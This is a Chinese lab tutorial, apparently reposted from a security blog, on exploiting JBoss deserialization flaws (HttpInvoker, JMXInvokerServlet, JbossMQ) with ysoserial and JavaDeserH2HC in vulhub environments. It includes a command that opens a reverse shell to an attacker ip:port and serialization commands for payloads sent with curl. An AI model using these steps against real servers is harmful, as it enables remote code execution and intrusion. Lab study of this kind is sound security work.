JBOSS反序列化漏洞
Posted NOVASEC
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了JBOSS反序列化漏洞相关的知识,希望对你有一定的参考价值。
10月13日
Jboss是一个基于J2EE的开放源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。
Jboss5.x/6.x版本,存在一个Java反序列化错误类型的漏洞,漏洞存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞
该漏洞存在的页面为:url/invoker/readonly
1、搭建靶场
访问存在漏洞的页面:url/invoker/readonly
返回500则存在
2、编码需要执行的命令
查阅资料得知,jboss使用了Runtime.getRuntime().exec(),作用是调用命令脚本语言。
该方法不能使用bash等管道符方法,因此我们需要进行一次编码:
编码网址:
http://www.jackson-t.ca/runtime-exec-payloads.html
3、ysoserial生成序列化数据
将我们的反弹shell通过ysoserial进行序列化
得到一个pco.ser
4、对存在问题的网页进行传参
使用Curl命令直接传输
5、成功反弹shell
学习的时候发现,师傅们使用了另外一个工具包,javadeserh2hc,不用我们去编码执行的命令,自带反弹shell的方法。
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:port
JMX是一个java的管理协议,在Jboss中的JMXInvokerServlet可以使用HTTP协议与其进行通话。这一通信功能依赖于java的序列化类
1、搭建靶场
docker+vulhub
略
2、攻击方式
和前一个是一样的,换url即可,直接上截图
JbossMQ实现过程的JMS over HTTP InvocationLayer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码
版本:Jboss AS 4.x及之前版本
1、搭建环境
使用vulhub+docker搭建
略
2、使用上面说的另外一个java反序列化工具JavaDeserH2HC试试
//生成一个ExampleCommonsCollections1WithHashMap
javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java
//使用ExampleCommonsCollections1WithHashMap将命令touch /tmp/successtiehh进行序列
java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap "touch /tmp/successtiehh
生成一个ExampleCommonsCollections1WithHashMap.ser文件,然后执行curl传参
(有水印?不慌,个人小号)
以上是关于JBOSS反序列化漏洞的主要内容,如果未能解决你的问题,请参考以下文章